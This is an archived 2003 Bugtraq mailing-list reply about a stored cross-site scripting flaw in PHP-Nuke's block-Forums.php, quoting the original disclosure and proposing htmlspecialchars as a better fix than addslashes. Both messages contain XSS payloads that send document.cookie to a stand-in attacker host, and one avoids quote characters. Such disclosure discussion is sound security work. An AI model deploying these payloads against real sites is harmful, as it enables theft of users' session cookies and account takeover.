Re: PHP-Nuke block-Forums.php subject vulnerabilities

From: Frog Man (leseulfrogat_private)
Date: Tue Apr 01 2003 - 02:48:28 PST

  • Next message: Mandrake Linux Security Team: "MDKSA-2003:040 - Updated Eterm packages fix escape sequence insecurities"

    I haven't tested but I don't think addslashes() is a good solution here.
    The same javascript can be executed without ' or ", like this :
    
    ">
    <name=a><input type=hidden name=u 
    value=http://www.attacker.com/prova.php></form>
    <script>window.open(document.a.u.value+document.cookie)</script>
    
    What do you think about :
    $title2 = htmlspecialchars($title2, ENT_QUOTES);
    
    
    
    >From: <lethalmanat_private>
    >To: bugtraqat_private
    >Subject: PHP-Nuke block-Forums.php subject vulnerabilities
    >Date: 31 Mar 2003 11:15:54 -0000
    >
    >
    >
    >The block-Forums.php file have a vuln if an attacker
    >insert a malformatted subject to a topic of Splatt
    >Forum. A type of subject is:
    >
    >">&lt;script&gt;alert('bug'");&lt;/script&gt;
    >
    >The 'alt' tag is closed by "> and the other text is
    >normal html. This bug is very bad if a subject is:
    >
    >">&lt;script&gt;window.open('www.attacker.com/prova.php?cookie='+document.cookie);&lt;/script&gt;
    >
    >And prova.php register cokkies in a file.
    >
    >The solution:
    >
    >Add under "$title2 = stripslashes($title2);" line, this
    >line:
    >"$title2 = addslashes($title2);"
    >
    >And now, backward any " there is a backslash!
    
    
    
    
    --------------------------
    frog-m@n
    http://www.phpsecure.info
    
    
    _________________________________________________________________
    



    This archive was generated by hypermail 2b30 : Wed Apr 02 2003 - 14:21:39 PST